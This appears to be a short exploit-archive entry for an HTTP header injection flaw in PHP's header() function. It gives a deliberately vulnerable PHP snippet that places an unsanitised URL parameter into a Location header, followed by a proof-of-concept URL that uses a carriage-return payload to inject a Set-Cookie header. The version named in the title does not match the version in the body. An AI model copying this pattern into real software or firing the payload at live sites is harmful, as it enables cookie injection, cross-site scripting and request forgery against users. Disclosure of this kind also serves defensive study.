PHP 5.3.11/5.4.0RC2 – ‘header()’ HTTP Header Injection
source: https://www.securityfocus.com/bid/55297/info PHP is prone to a vulnerability that allows attackers to inject arbitrary headers through a URL. By inserting arbitrary headers, attackers may be able to launch cross-site request-forgery, cross-site scripting, HTML-injection, and other attacks. PHP 5.1.2 is vulnerable; other versions may also be affected. <?php header('Location: '.$_GET['url']); print_r($_COOKIE); ?> http://www.example.com/head1.php?url=http://example.com/head1.php%0DSet-Cookie:+NAME=foo |
